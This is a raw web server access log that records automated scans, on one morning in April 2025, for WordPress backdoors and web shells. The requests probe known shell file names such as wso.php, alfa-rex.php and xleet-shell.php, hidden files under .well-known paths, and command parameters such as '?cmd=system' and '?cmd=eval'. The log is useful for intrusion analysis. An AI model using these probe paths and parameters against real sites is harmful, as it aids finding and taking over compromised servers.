[18/Apr/2025:08:17:52 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:53 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:54 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:54 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:55 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:56 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:56 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:57 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:58 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:58 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:59 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:59 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:00 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:01 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:01 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:02 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:03 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:03 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:05 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:05 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:06 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:07 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:07 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:08 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:08 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:09 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:10 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:10 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:11 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:12 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:13 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:13 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:14 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:15 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:16 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:16 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:17 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:18 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:19 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:20 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:22 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:23 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:24 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:25 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:25 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:26 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:27 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:28 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:29 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:30 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:31 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:31 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:32 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:33 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:34 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:35 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:36 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:36 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:37 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:38 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:39 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:40 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:41 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:42 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:43 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:44 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:44 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:46 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:47 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:48 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:49 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:50 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:51 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:51 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:52 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:53 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:54 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:55 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:56 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:57 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:58 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:18:59 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:00 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:00 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:01 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:02 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:03 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:04 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:06 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:08 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:10 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:11 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:12 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:13 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:13 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:14 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:15 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:15 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:16 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:17 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:17 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:18 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:19 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:20 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:21 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:22 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:23 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:24 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:24 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:25 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:26 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:26 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:27 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:28 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:29 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:29 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:30 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:31 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:32 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:33 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:34 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:35 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:35 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:19:36 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 196.251.80.117 - - [18/Apr/2025:08:28:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 162.0.232.217 - - [18/Apr/2025:08:34:09 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:10 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:12 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:13 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:14 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:14 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:15 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:15 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:17 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:17 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:18 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:19 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:19 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:20 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:22 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:23 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:24 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:25 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:34:26 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:39 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:40 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:42 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:43 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:44 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:44 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:45 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:46 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:46 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:47 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:48 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:48 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:49 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:50 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:51 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:52 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:52 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:53 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:08:35:54 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:38:39 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:40 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:40 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:40 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:41 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:41 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:42 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:42 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:42 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:43 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:43 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:44 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:44 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:44 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:45 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:45 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:46 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:46 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:47 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:47 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:48 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:48 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:49 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:49 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:50 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:50 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:50 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:51 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:51 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:52 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:52 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:52 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:53 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:53 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:54 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:54 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:54 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:55 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:55 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:56 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:56 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:57 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:57 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:57 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:58 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:58 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:59 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:38:59 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:00 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:39:00 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 